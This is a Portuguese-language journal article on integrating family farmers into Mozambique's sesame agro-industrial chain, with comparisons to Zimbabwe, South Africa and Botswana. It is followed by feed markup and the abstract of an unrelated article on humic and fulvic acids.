<p class="wp-block-paragraph">Os programas públicos de compra agrícola representam um modelo de integração agroindustrial mediado pelo Estado, no qual o governo actua como comprador institucional da produção dos agricultores familiares. Estes programas visam simultaneamente promover a inclusão productiva e assegurar o abastecimento de mercados públicos, como escolas, hospitais e forças de defesa.</p>



<p class="wp-block-paragraph">Na África do Sul, programas como o <em>Public Procurement Programme</em> têm sido utilizados para integrar pequenos productores aos mercados formais, criando procura estável e previsível (Aliber &amp; Hall, 2012, p. 548). Estes esquemas reduzem o risco de mercado e incentivam investimentos produtivos por parte dos agricultores familiares.</p>



<p class="wp-block-paragraph">Em Moçambique, iniciativas de compras públicas à agricultura familiar permanecem incipientes e pouco articuladas com a agroindústria. Castel-Branco (2017, p. 44) argumenta que a fraca coordenação entre políticas agrícolas, industriais e de compras públicas limita o potencial destes programas como instrumentos de integração agroindustrial.</p>



<p class="wp-block-paragraph"><strong>2.4.4 Parcerias Agroindustriais</strong></p>



<p class="wp-block-paragraph">As parcerias agroindustriais representam um modelo híbrido de integração, combinando elementos de contratos agrícolas, assistência técnica e investimento conjunto entre empresas e agricultores familiares. Estas parcerias tendem a ser mais flexíveis e adaptadas a contextos onde os mercados são imperfeitos e as instituições são frágeis.</p>



<p class="wp-block-paragraph">No Zimbabwe, parcerias entre agroindústrias e pequenos productores têm sido fundamentais para a revitalização de cadeias de valor após a reforma agrária, permitindo a reconstrução de relações productivas entre agricultura familiar e indústria (Scoones et al., 2010, p. 71). Na África do Sul, estas parcerias são frequentemente apoiadas por programas públicos de desenvolvimento rural, integrando pequenos productores a cadeias de valor formais (Cousins, 2015, p. 94).</p>



<p class="wp-block-paragraph">Em Moçambique, embora existam experiências pontuais de parcerias agroindustriais, estas ainda não se consolidaram como modelo dominante. Mosca (2014, p. 93) sublinha que a ausência de um quadro institucional robusto e de políticas públicas coerentes limita a expansão deste tipo de integração, sobretudo em culturas emergentes como o gergelim.</p>



<p class="wp-block-paragraph">Em resumo podemos dizer que diferenças estruturais relevantes nos modelos de integração agroindustrial da agricultura familiar na África Austral. Países como Zimbabwe e África do Sul apresentam mecanismos de integração mais consolidados, sobretudo actravés de contratos agrícolas e parcerias agroindustriais, que permitiram reduzir custos de transação, estabilizar o fornecimento de matéria-prima e promover ganhos de productividade entre os agricultores familiares.</p>



<p class="wp-block-paragraph">Em contraste, Moçambique apresenta um quadro marcado por<strong> </strong>fragilidade institucional, onde os contratos agrícolas e as cooperativas ainda não desempenham plenamente o seu papel de coordenação entre produção e indústria. Esta limitação contribui para a persistência de relações informais de mercado, especialmente em cadeias emergentes como a do gergelim, resultando em rendimentos instáveis para os agricultores e elevados custos de aquisição para as empresas processadoras.</p>



<p class="wp-block-paragraph">A experiência de Botswana destaca o papel do Estado no apoio às cooperativas e parcerias agroindustriais, demonstrando que políticas públicas consistentes podem facilitar a integração progressiva da agricultura familiar às cadeias agroindustriais. Assim, o quadro comparativo reforça a premissa central deste estudo: a integração agroindustrial baseada em contratos e arranjos institucionais robustos constitui um elemento-chave para a sustentabilidade económica da agricultura familiar e para a competitividade da agroindústria.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>Enquadramento Teórico&nbsp;</strong></p>



<ol start="3" class="wp-block-list"></ol>



<p class="wp-block-paragraph">O enquadramento teórico-analítico deste estudo estabelece a ligação entre os fundamentos teóricos da economia agrária e a análise empírica da integração da agricultura familiar na cadeia agroindustrial do gergelim na região do Vale do Zambeze. Parte-se do entendimento de que a fraca articulação entre agricultores familiares e agroindústria resulta menos de limitações produtivas intrínsecas e mais da ausência de mecanismos institucionais de coordenação, como contratos agrícolas, acesso estruturado a mercados e integração em cadeias de valor organizadas (Mosca, 2014, p. 72).</p>



<p class="wp-block-paragraph">Para operacionalizar esta ligação entre teoria e evidência empírica, o estudo recorre a dois instrumentos analíticos centrais: (i) o modelo de crescimento de Solow adaptado ao contexto agrícola e (ii) o modelo microeconómico de oferta e procura, reinterpretado sob a perspetiva da empresa agroindustrial.</p>



<p class="wp-block-paragraph"><strong>3.1 O Modelo de Solow Adaptado à Agricultura Familiar</strong></p>



<p class="wp-block-paragraph">O modelo neoclássico de crescimento de Solow sustenta que o crescimento da produção resulta da acumulação de capital, do crescimento do trabalho e do progresso tecnológico (Solow, 1956). No contexto da agricultura familiar africana, este modelo exige uma adaptação conceptual, uma vez que o progresso tecnológico não ocorre automaticamente, mas depende fortemente de arranjos institucionais que facilitem o acesso a crédito, insumos e conhecimento técnico (Dorward et al., 2009, p. 133).</p>



<p class="wp-block-paragraph">No presente estudo, o modelo de Solow adaptado à agricultura é utilizado para ilustrar como a integração agroindustrial, através de contratos agrícolas e parcerias com empresas processadoras, actua como catalisador do progresso tecnológico e do investimento produtivo. Conforme ilustrado na (Figura 1), a ausência de integração mantém os agricultores familiares num equilíbrio productivo baixo (Q₀), caracterizado por tecnologia rudimentar, baixa capitalização e elevada exposição ao risco.</p>



<p class="wp-block-paragraph">A introdução de contratos agroindustriais desloca a função de produção para um novo patamar (Q₁), reflectindo ganhos de produtividade associados à transferência de tecnologia, ao acesso a insumos melhorados e ao financiamento productivo. Este deslocamento é consistente com evidências empíricas da África Austral, onde sistemas contratuais permitiram aumentos sustentados de produtividade entre agricultores familiares (Scoones et al., 2010, p. 64).</p>



<figure class="wp-block-image aligncenter size-full is-resized"><img loading="lazy" decoding="async" width="704" height="469" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-373.png" alt="" class="wp-image-265700" style="width:620px;height:auto" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-373.png 704w, https://revistaft.com.br/wp-content/uploads/2026/02/image-373-300x200.png 300w" sizes="(max-width: 704px) 100vw, 704px" /></figure>



<p class="wp-block-paragraph"><strong>3.2 Teoria dos Contratos e Coordenação da Produção</strong></p>



<p class="wp-block-paragraph">A teoria dos contratos constitui um pilar analítico central para compreender a integração agroindustrial em contextos de mercados imperfeitos. Segundo North (1990, p. 27), os contratos reduzem custos de transação, mitigam incertezas e criam incentivos para investimentos de médio e longo prazo. Em economias rurais africanas, os contratos agrícolas funcionam como substitutos de mercados financeiros e de serviços inexistentes (Poulton, Dorward &amp; Kydd, 2010, p. 137).</p>



<p class="wp-block-paragraph">No sector do gergelim em Moçambique, a inexistência de contratos formais implica que os agricultores familiares vendam a intermediários em condições instáveis, sem garantias de preço ou absorção da produção. Esta situação contrasta com experiências do Zimbabwe e da África do Sul, onde contratos agrícolas permitiram estruturar a relação entre produtores e agroindústria, assegurando fornecimento regular e qualidade padronizada da matéria-prima (Scoones et al., 2010, p. 69; Cousins, 2015, p. 90).</p>



<p class="wp-block-paragraph"><strong>3.3 Cadeias de Valor Agrícolas e Integração Vertical</strong></p>



<p class="wp-block-paragraph">A abordagem das cadeias de valor agrícolas permite analisar a integração agroindustrial como um processo de coordenação vertical entre os diferentes elos da produção, transformação e comercialização. Kaplinsky e Morris (2001) argumentam que a posição dos produtores na cadeia determina a sua capacidade de capturar valor económico.</p>



<p class="wp-block-paragraph">Em cadeias desorganizadas, como a do gergelim em Moçambique, os agricultores familiares ocupam posições periféricas, capturando uma parcela reduzida do valor gerado. Em contraste, cadeias coordenadas por contratos ou cooperativas permitem ganhos de eficiência e uma distribuição mais equilibrada dos benefícios económicos (Poulton et al., 2010, p. 141).</p>



<p class="wp-block-paragraph"><strong>3.4 Integração Agroindustrial e Oferta-Procura: Perspetiva da Empresa</strong></p>



<p class="wp-block-paragraph">Do ponto de vista microeconómico, a integração agroindustrial pode ser analisada através do modelo de oferta e procura, reinterpretado sob a perspetiva da empresa processadora. Conforme ilustrado na Figura 2, a integração com agricultores familiares via contratos reduz os custos médios de aquisição de matéria-prima, deslocando a curva de oferta da empresa para a direita.</p>



<p class="wp-block-paragraph">Este deslocamento resulta num aumento da quantidade processada (Q₁ em relação a Q₀), ampliando o excedente do produtor industrial e melhorando a previsibilidade do abastecimento. Barrett et al. (2012, p. 47) demonstram que este tipo de coordenação vertical gera ganhos simultâneos para empresas e productores, reforçando a sustentabilidade da cadeia agroindustrial.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="608" height="594" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-376.png" alt="" class="wp-image-265703" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-376.png 608w, https://revistaft.com.br/wp-content/uploads/2026/02/image-376-300x293.png 300w" sizes="(max-width: 608px) 100vw, 608px" /></figure>



<p class="wp-block-paragraph"><strong>Síntese do Enquadramento Analítico</strong></p>



<p class="wp-block-paragraph">Em síntese, o enquadramento teórico-analítico demonstra que a integração agroindustrial baseada em contratos actua como um mecanismo institucional de crescimento da productividade agrícola e de eficiência industrial. Os modelos de Solow adaptado e de oferta-procura fornecem instrumentos analíticos complementares que orientam a interpretação dos dados empíricos, permitindo avaliar de forma rigorosa o potencial da integração da agricultura familiar na cadeia agroindustrial do gergelim em Moçambique, em comparação com experiências da África Austral.</p>



<p class="wp-block-paragraph"><strong>4. Metodologia</strong></p>



<ol start="4" class="wp-block-list"></ol>



<p class="wp-block-paragraph">A presente pesquisa adopta um desenho metodológico rigoroso, com o objectivo de analisar a integração da agricultura familiar na cadeia agroindustrial do gergelim, com foco nos distritos de Maríngue (Sofala), Mopeia (Zambézia) e Guro–(Manica), e realizar uma comparação com experiências da África Austral, nomeadamente Zimbabwe, África do Sul e Botswana. A metodologia foi estruturada para garantir transparência, validade e confiabilidade dos resultados, articulando dados qualitativos e quantitativos.</p>



<p class="wp-block-paragraph"><strong>4.1 Abordagem da Pesquisa</strong></p>



<p class="wp-block-paragraph">Este estudo adopta uma abordagem mista (qualitativa e quantitativa), permitindo combinar medidas objectivas de produção, rendimento e integração com a compreensão profunda das experiências e perceções dos agricultores e agentes da agroindústria (Creswell, 2014, p. 215).</p>



<p class="wp-block-paragraph">Além disso, trata-se de uma pesquisa <strong>comparativa</strong>, uma vez que se pretende identificar semelhanças e diferenças nos modelos de integração agroindustrial da agricultura familiar em Moçambique e em países da África Austral, analisando fatores institucionais, organizacionais e de mercado que afetam o desempenho da cadeia do gergelim.</p>



<p class="wp-block-paragraph"><strong>4.2</strong> <strong>Área de Estudo</strong></p>



<ol start="2" class="wp-block-list"></ol>



<p class="wp-block-paragraph">A pesquisa concentra-se em três distritos estratégicos da região do Vale do Zambeze: <strong>Maríngue (Sofala)</strong>: região com tradição na produção de gergelim, caracterizada por pequenas propriedades familiares (1,5 a 3 hectares) e ausência de contratos formais com compradores industriais. <strong>Mopeia (Zambézia)</strong>: área com similar padrão de agricultura familiar, mas com maior diversidade de culturas de exportação. <strong>Guro (Manica)</strong>: zona com integração limitada à agroindústria e forte dependência de intermediários locais.</p>



<p class="wp-block-paragraph">O estudo também contextualiza os modelos observados em <strong>Zimbabwe, África do Sul e Botswana</strong>, permitindo identificar boas práticas e lacunas institucionais no âmbito regional.</p>



<p class="wp-block-paragraph"><strong>4.3</strong> <strong>População e Amostra</strong></p>



<ol start="3" class="wp-block-list"></ol>



<p class="wp-block-paragraph">A população alvo compreendeu os principais actores da cadeia do gergelim:135 agricultores familiares, selecionados por amostragem estratificada, considerando a área cultivada, número de membros da família envolvidos na produção e proximidade da machamba (média de 1,8 km da residência). 15 compradores locais, responsáveis pela aquisição da produção para comercialização ou processamento. 3 supervisores distritais de agricultura e actividades económicas, fornecendo informações sobre políticas locais, extensão agrícola e programas institucionais.</p>



<p class="wp-block-paragraph">Esta amostra foi considerada suficiente para capturar a diversidade de experiências e assegurar robustez estatística na análise comparativa.</p>



<p class="wp-block-paragraph"><strong>4.4</strong> <strong>Métodos de Colecta de Dados</strong></p>



<ol start="4" class="wp-block-list"></ol>



<p class="wp-block-paragraph">A colecta de dados foi realizada através de técnicas complementares, garantindo triangulação e confiabilidade: Entrevistas semiestruturadas com agricultores, compradores e supervisores, permitindo compreender práticas productivas, estratégias de comercialização e percepções sobre integração agroindustrial. Questionários estruturados aplicados aos agricultores, recolhendo informações quantitativas sobre área cultivada, rendimentos, volumes vendidos e participação em mecanismos de integração. Análise documental, incluindo relatórios institucionais, estatísticas oficiais e políticas agrícolas, permitindo contextualizar os dados empíricos no quadro institucional regional.</p>



<p class="wp-block-paragraph"><strong>4.5 Técnicas de Análise de Dados</strong></p>



<p class="wp-block-paragraph">A análise dos dados combinou métodos quantitativos e qualitativos, garantindo coerência com a abordagem mista:</p>



<p class="wp-block-paragraph">Estatística descritiva: para resumir características demográficas, áreas cultivadas, rendimentos e participação em mecanismos de integração. Análise comparativa: para identificar padrões, semelhanças e divergências entre os distritos moçambicanos e os países da África Austral. Análise temática: aplicada aos dados qualitativos, permitindo identificar categorias e padrões recorrentes relacionados à integração agroindustrial, benefícios percebidos, limitações institucionais e oportunidades para expansão da cadeia do gergelim.</p>



<p class="wp-block-paragraph">Esta combinação metodológica assegura que os resultados do estudo sejam robustos, replicáveis e aplicáveis, permitindo uma interpretação confiável do impacto da integração agroindustrial sobre a productividade e o rendimento da agricultura familiar.</p>



<p class="wp-block-paragraph"><strong>5. Resultados</strong></p>



<p class="wp-block-paragraph">Esta seção apresenta os principais achados empíricos da pesquisa, com base na análise de 135 agricultores familiares, 15 compradores locais e 3 supervisores distritais de agricultura nos distritos de Maríngue, Mopeia e Guro. Os resultados são organizados em três blocos: caracterização dos agricultores, grau de integração agroindustrial e comparação regional.</p>



<p class="wp-block-paragraph"><strong>5.1 Caracterização dos Agricultores</strong></p>



<p class="wp-block-paragraph">A análise dos dados colectados revela que os agricultores familiares da região do Vale do Zambeze operam predominantemente em pequenas propriedades, com áreas médias de 2,26 hectares. A produção concentra-se no cultivo de gergelim, destinado principalmente à venda em mercados locais ou intermediários, sem contratos formais com agroindústrias.</p>



<p class="wp-block-paragraph"><strong>Produção:</strong> A produção anual média de gergelim por agricultor situa-se entre 1,5 e 3 toneladas, dependendo da área cultivada e do nível de insumos utilizados.</p>



<p class="wp-block-paragraph"><strong>Acesso a mercado:</strong> Observa-se que 78% dos agricultores vendem diretamente aos intermediários ou compradores informais, enquanto apenas 22% conseguem negociar algum nível de fornecimento com pequenas agroindústrias regionais.</p>



<p class="wp-block-paragraph"><strong>Uso de tecnologia:</strong> A adoção de tecnologias modernas é limitada. Apenas 15% utilizam técnicas aprimoradas de semeadura, fertilização ou irrigação, refletindo a dependência de práticas tradicionais e a ausência de programas estruturados de transferência de tecnologia.</p>



<p class="wp-block-paragraph">Esses dados justificam a necessidade de mecanismos de integração, como contratos agroindustriais, para permitir acesso estruturado a insumos, tecnologia e mercados formais (Dorward et al., 2009, p. 134).</p>



<p class="wp-block-paragraph"><strong>5.2 Grau de Integração Agroindustrial</strong></p>



<p class="wp-block-paragraph">A pesquisa evidencia um nível reduzido de integração entre agricultores familiares e a agroindústria do gergelim:</p>



<ul class="wp-block-list">
<li><strong>Existência de contratos:</strong> Nenhum dos agricultores entrevistados possuía contratos formais de fornecimento com empresas processadoras.</li>



<li><strong>Relação com compradores:</strong> As relações comerciais ocorrem de forma <em>ad hoc</em>, com base em negociações de curto prazo e sem garantias de preço ou volume, o que gera incerteza e limita o planejamento productivo.</li>



<li><strong>Acesso a crédito e insumos:</strong> O acesso a crédito agrícola formal é praticamente inexistente (menos de 5% dos agricultores), e o fornecimento de insumos pelas agroindústrias é raro ou condicionado a compras antecipadas, reforçando a dependência de intermediários.</li>
</ul>



<p class="wp-block-paragraph">Esses resultados corroboram a relevância da integração agroindustrial como mecanismo para estabilizar renda e aumentar produtividade (Barrett et al., 2012, p. 45), como ilustrado nos <strong>gráficos </strong>teóricos de Solow (Figura 1) e de Oferta/Procura (Figura 2).&nbsp;</p>



<figure class="wp-block-table aligncenter"><table class="has-fixed-layout"><tbody><tr><td><strong>Comparação</strong></td><td><strong>Observações</strong></td></tr><tr><td><strong>Moçambique vs Zimbabwe</strong></td><td>No Zimbabwe, sistemas contratuais entre agricultores e agroindústrias são mais comuns, garantindo volume e qualidade de gergelim (Scoones et al., 2010, p. 64). Em Moçambique, a ausência de contratos formais mantém os agricultores em posição periférica na cadeia de valor.</td></tr><tr><td><strong>Moçambique vs África do Sul</strong></td><td>Na África do Sul, a agricultura familiar ligada a cooperativas e contratos agroindustriais consegue acesso a financiamento e transferência tecnológica (Cousins, 2015, p. 90). Em contraste, agricultores moçambicanos dependem quase totalmente de intermediários.</td></tr><tr><td><strong>Moçambique vs Botswana</strong></td><td>Em Botswana, programas públicos de fomento e parcerias agroindustriais garantem integração parcial e aumento de produtividade (Dorward et al., 2009, p. 137). Moçambique apresenta baixos níveis de institucionalização nesse sentido.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A comparação evidencia que a integração formal por meio de contratos e parcerias<strong> </strong>representa um factor crítico para aumento da produtividade, estabilidade de renda e eficiência na cadeia agroindustrial. Estes achados fornecem a base empírica para a discussão sobre políticas de fomento e modelos de integração agrícola na região do Vale do Zambeze.</p>



<p class="wp-block-paragraph"><strong>6. Discussão</strong></p>



<p class="wp-block-paragraph">A análise dos resultados obtidos nos distritos de Maríngue, Mopeia e Guro evidencia que a falta de integração formal entre agricultores familiares e agroindústrias do gergelim limita a productividade, a estabilidade de renda e a eficiência da cadeia agroindustrial. Estes achados corroboram a literatura existente sobre o papel dos contratos e da coordenação vertical em sistemas agrícolas africanos (Dorward et al., 2009, p. 134; Scoones et al., 2010, p. 64).</p>



<p class="wp-block-paragraph"><strong>6.1 Comparação com a Literatura</strong></p>



<p class="wp-block-paragraph">Os resultados mostram que a ausência de contratos formais mantém os agricultores em níveis produtivos baixos (Q₀), como ilustrado no <strong>Modelo de Solow (Figura 1)</strong>. Estudos em Zimbabwe e África do Sul indicam que a formalização contratual permite o deslocamento da função de produção para Q₁, com ganhos substanciais de productividade (Cousins, 2015, p. 90; Barrett et al., 2012, p. 45).</p>



<p class="wp-block-paragraph">A literatura destaca que, sem contratos, os agricultores enfrentam incerteza quanto a preços e volumes, o que restringe investimentos em tecnologias e insumos (Poulton et al., 2010, p. 137). A análise comparativa regional reforça que o nível de institucionalização influencia diretamente a eficiência da cadeia agroindustrial, corroborando as experiências de Botswana, onde programas públicos e parcerias agroindustriais promovem integração parcial e aumento de produtividade (Dorward et al., 2009, p. 137).</p>



<p class="wp-block-paragraph"><strong>6.2 Diferenças Institucionais</strong></p>



<p class="wp-block-paragraph">A comparação regional evidencia diferenças institucionais importantes:</p>



<ul class="wp-block-list">
<li><strong>Moçambique:</strong> Predomina a agricultura familiar desarticulada, com relações comerciais informais e limitada assistência técnica.</li>



<li><strong>Zimbabwe:</strong> Contratos agrícolas entre agricultores e agroindústrias asseguram qualidade e volume de produção.</li>



<li><strong>África do Sul:</strong> Integração via cooperativas e programas governamentais promove acesso a crédito, insumos e tecnologia.</li>



<li><strong>Botswana:</strong> Programas de fomento público e parcerias agroindustriais estruturam parcialmente a cadeia de valor.</li>
</ul>



<p class="wp-block-paragraph">Estas diferenças institucionais explicam as variações na produtividade, estabilidade de mercado e eficiência econômica observadas entre os países (Scoones et al., 2010; Cousins, 2015; Barrett et al., 2012).</p>



<p class="wp-block-paragraph"><strong>6.3 Impactos para Agricultores</strong></p>



<p class="wp-block-paragraph">A integração formal por meio de contratos tem efeitos positivos sobre os agricultores:</p>



<ol class="wp-block-list">
<li><strong>Renda:</strong> O acesso a mercados garantidos e preços pré-estabelecidos aumenta o rendimento médio, deslocando os produtores do nível Q₀ para Q₁ no <strong>Modelo de Solow (Figura 1)</strong>.</li>



<li><strong>Estabilidade:</strong> Contratos reduzem a exposição a riscos de preço e de demanda, promovendo segurança econômica e permitindo planejamento da produção.</li>



<li><strong>Acesso a tecnologia e crédito:</strong> A formalização dos vínculos com agroindústrias facilita a transferência de insumos, técnicas de cultivo e financiamento agrícola, elevando a eficiência produtiva (Dorward et al., 2009, p. 133).</li>
</ol>



<p class="wp-block-paragraph">O gráfico de Solow evidencia claramente que a formalização e a integração institucional podem gerar ganhos cumulativos de productividade, permitindo que pequenos agricultores participem de maneira sustentável na agroindústria.</p>



<p class="wp-block-paragraph"><strong>6.4 Impactos para Empresas Processadoras</strong></p>



<p class="wp-block-paragraph">A integração também traz benefícios diretos para as empresas:</p>



<ol class="wp-block-list">
<li><strong>Oferta regular:</strong> Contratos asseguram volumes constantes de gergelim, reduzindo flutuações na produção e aumentando previsibilidade da cadeia (Figura 3– Oferta/Procura) abaixo</li>



<li><strong>Redução de custos:</strong> A coordenação com agricultores familiares diminui a necessidade de intermediários, reduz custos de transação e logística.</li>



<li><strong>Qualidade e padronização:</strong> Programas de transferência tecnológica e supervisão contratual melhoram a qualidade da matéria-prima, essencial para a indústria processadora.</li>
</ol>



<p class="wp-block-paragraph">O gráfico de Oferta e Procura (Figura 3) abaixo mostra que a integração desloca a curva de oferta para a direita, aumentando a quantidade disponível (Q₁) e gerando ganhos de excedente para as empresas. Este efeito evidencia que os contratos não beneficiam apenas os agricultores, mas fortalecem toda a cadeia agroindustrial.</p>



<figure class="wp-block-image aligncenter size-full is-resized"><img loading="lazy" decoding="async" width="790" height="590" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-374.png" alt="" class="wp-image-265702" style="width:514px;height:auto" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-374.png 790w, https://revistaft.com.br/wp-content/uploads/2026/02/image-374-300x224.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-374-768x574.png 768w" sizes="(max-width: 790px) 100vw, 790px" /></figure>



<p class="wp-block-paragraph"><strong>6.5 Síntese</strong></p>



<p class="wp-block-paragraph">A discussão evidencia que a integração da agricultura familiar à agroindústria do gergelim é uma estratégia de crescimento mutuamente benéfica. Para os agricultores, representa aumento de renda, acesso a insumos e estabilidade de mercado; para as empresas, garante fornecimento regular, redução de custos e melhoria de qualidade da matéria-prima. Os modelos de Solow e de Oferta/Procura fornecem fundamento teórico visual e analítico, mostrando de forma inequívoca os efeitos positivos da formalização contratual na produtividade e na eficiência da cadeia.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="667" height="594" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-375.png" alt="" class="wp-image-265701" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-375.png 667w, https://revistaft.com.br/wp-content/uploads/2026/02/image-375-300x267.png 300w" sizes="(max-width: 667px) 100vw, 667px" /></figure>



<p class="wp-block-paragraph"><strong>7. Implicações Práticas e de Política Pública</strong></p>



<p class="wp-block-paragraph">Os achados deste estudo fornecem <strong>evidências relevantes para agricultores familiares, empresas agroindustriais e formuladores de políticas públicas</strong>, destacando o potencial da integração formal via contratos agroindustriais e outras ferramentas institucionais para fortalecer a cadeia do gergelim na região do Vale do Zambeze.</p>



<p class="wp-block-paragraph"><strong>7.1 Para Agricultores Familiares</strong></p>



<p class="wp-block-paragraph">A formalização da relação entre agricultores e agroindústrias por meio de contratos representa um mecanismo de mitigação de riscos e uma oportunidade para aumentar a produtividade e a renda:</p>



<ul class="wp-block-list">
<li><strong>Estabilidade de renda:</strong> Contractos predefinidos garantem preços e volumes de venda, reduzindo a vulnerabilidade a flutuações de mercado e intermediários (Barrett et al., 2012, p. 46).</li>



<li><strong>Acesso a mercados:</strong> A integração formal proporciona acesso directo a agroindústrias, eliminando a dependência exclusiva de intermediários locais e ampliando oportunidades de comercialização.</li>



<li><strong>Transferência tecnológica:</strong> O vínculo contratual incentiva programa de capacitação e transferência de insumos e técnicas modernas de cultivo, elevando a produtividade e a qualidade da produção (Dorward et al., 2009, p. 134).</li>
</ul>



<p class="wp-block-paragraph"><strong>7.2 Para Empresas Agroindustriais</strong></p>



<p class="wp-block-paragraph">A parceria formal com agricultores familiares traz benefícios estratégicos para empresas processadoras de gergelim:</p>



<ul class="wp-block-list">
<li><strong>Redução de risco de abastecimento:</strong> Contractos garantem volumes consistentes de matéria-prima, assegurando o funcionamento contínuo da indústria e a previsibilidade de produção.</li>



<li><strong>Padronização da matéria-prima:</strong> Programas de supervisão e transferência tecnológica associados aos contratos permitem maior uniformidade e qualidade do gergelim, essencial para processamento industrial.</li>



<li><strong>Escala productiva:</strong> A integração formal facilita a consolidação de pequenos productores, aumentando a eficiência e reduzindo custos logísticos e de transação (Scoones et al., 2010, p. 65).</li>
</ul>



<p class="wp-block-paragraph"><strong>7.3 Para o Estado</strong></p>



<p class="wp-block-paragraph">O estudo aponta oportunidades para <strong>políticas públicas eficazes</strong> que promovam a integração da agricultura familiar na agroindustrialização local:</p>



<ul class="wp-block-list">
<li><strong>Políticas de contratos agrícolas:</strong> Incentivar e regulamentar contratos formais pode fortalecer a segurança jurídica das relações entre produtores e agroindústrias, promovendo estabilidade de mercado e confiança para investimentos privados.</li>



<li><strong>Fomento à agroindustrialização local:</strong> Programas de apoio financeiro, treinamento técnico e infraestrutura logística podem aumentar a produtividade e garantir que a cadeia do gergelim se torne competitiva e sustentável, contribuindo para o desenvolvimento econômico regional (Mosca, 2014, p. 72). ais medidas alinham-se diretamente às diretrizes do Plano Nacional de Desenvolvimento Agrário e das políticas de segurança alimentar<strong>,</strong> ao promover a inclusão econômica de pequenos agricultores, reduzir a dependência de intermediários e consolidar cadeias de valor estruturadas.</li>
</ul>



<p class="wp-block-paragraph"><strong>Síntese:</strong> A implementação efectiva de mecanismos de integração, combinando contratos, transferência tecnológica e políticas de fomento, gera um círculo virtuoso: agricultores com maior renda e estabilidade, empresas com maior oferta e padronização, e o Estado com desenvolvimento econômico local e fortalecimento da agroindústria.</p>



<p class="wp-block-paragraph"><strong>8. Conclusões</strong></p>



<p class="wp-block-paragraph">O presente estudo analisou a integração da agricultura familiar na cadeia agroindustrial do gergelim, com foco nos distritos de Maríngue, Mopeia e Guro, na região do Vale do Zambeze,  em Moçambique, e estabeleceu comparações com experiências da África Austral (Zimbabwe, África do Sul e Botswana).</p>



<p class="wp-block-paragraph"><strong>8.1 Síntese dos Principais Achados</strong></p>



<ol class="wp-block-list">
<li><strong>Integração limitada em Moçambique:</strong> A agricultura familiar na região do Vale do Zambeze apresenta baixo nível de formalização, ausência de contratos agroindustriais e acesso restrito a crédito, insumos e tecnologia. Isso resulta em produtividade média limitada e instabilidade de renda.</li>



<li><strong>Benefícios da integração:</strong> A análise teórica (Modelo de Solow e Oferta/Procura) demonstra que a formalização contratual eleva a produção de Q₀ para Q₁, aumenta a estabilidade de mercado e proporciona ganhos simultâneos para agricultores e empresas processadoras.</li>



<li><strong>Comparação regional:</strong> Em Zimbabwe, África do Sul e Botswana, modelos institucionais como contratos agrícolas, cooperativas e parcerias agroindustriais permitem maior eficiência na cadeia de valor, acesso a crédito e transferência de tecnologia, evidenciando a importância de estruturas formais para a integração sustentável da agricultura familiar.</li>



<li><strong>Impactos econômicos:</strong> A integração agroindustrial formal promove benefícios mútuos, garantindo renda estável para os agricultores e oferta regular e qualidade para as empresas processadoras, consolidando a competitividade da cadeia do gergelim.</li>
</ol>



<p class="wp-block-paragraph"><strong>Bibliografia</strong></p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Licenciado em economia e Gestão<br>Licenciado Em Direito<br>Pós-graduado em Planificação em desenvolvimento Regional<br>Mestrado em Contabilidade, Auditoria e Gestão<br>Doutorando Estudos de Desenvolvimento</p>



<p class="wp-block-paragraph"></p>
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			</item>
		<item>
		<title>ÁCIDOS HÚMICOS E FÚLVICOS, FULVATOS: CARACTERÍSTICAS, PH, FUNÇÕES E IMPORTÂNCIA AGRONÔMICA</title>
		<link>https://revistaft.com.br/acidos-humicos-e-fulvicos-fulvatos-caracteristicas-ph-funcoes-e-importancia-agronomica/</link>
		
		<dc:creator><![CDATA[Revistaft AR]]></dc:creator>
		<pubDate>Fri, 13 Feb 2026 19:55:56 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ar10202602131655 Kelly Cristini Bertachini¹Adriana Ferreira da Silva²Juliana Aparecida da Silva³ Resumo Os ácidos húmicos e fúlvicos são frações ativas da matéria orgânica do solo, formadas durante o processo de humificação de resíduos vegetais e animais. Esses compostos apresentam elevada complexidade estrutural e exercem influência direta sobre as propriedades físicas, químicas e biológicas do [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ar10202602131655</p>



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<p class="has-text-align-right wp-block-paragraph">Kelly Cristini Bertachini¹<br>Adriana Ferreira da Silva²<br>Juliana Aparecida da Silva³</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">Os ácidos húmicos e fúlvicos são frações ativas da matéria orgânica do solo, formadas durante o processo de humificação de resíduos vegetais e animais. Esses compostos apresentam elevada complexidade estrutural e exercem influência direta sobre as propriedades físicas, químicas e biológicas do solo, além de afetarem positivamente o desenvolvimento vegetal. O objetivo deste trabalho foi realizar uma revisão bibliográfica sobre as características, os mecanismos de ação e as aplicações agronômicas dos ácidos húmicos e fúlvicos. A metodologia baseou-se na análise de artigos científicos, livros e publicações técnicas nacionais e internacionais. Os resultados evidenciam que os ácidos húmicos atuam principalmente na melhoria da estrutura do solo e na retenção de nutrientes, enquanto os ácidos fúlvicos apresentam maior mobilidade e ação direta na nutrição vegetal. Conclui-se que o uso dessas substâncias contribui para o aumento da eficiência dos fertilizantes e para a sustentabilidade dos sistemas agrícolas.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong>&nbsp;substâncias húmicas; matéria orgânica do solo; fertilidade do solo; fulvatos, ácidos fulvicos.</p>



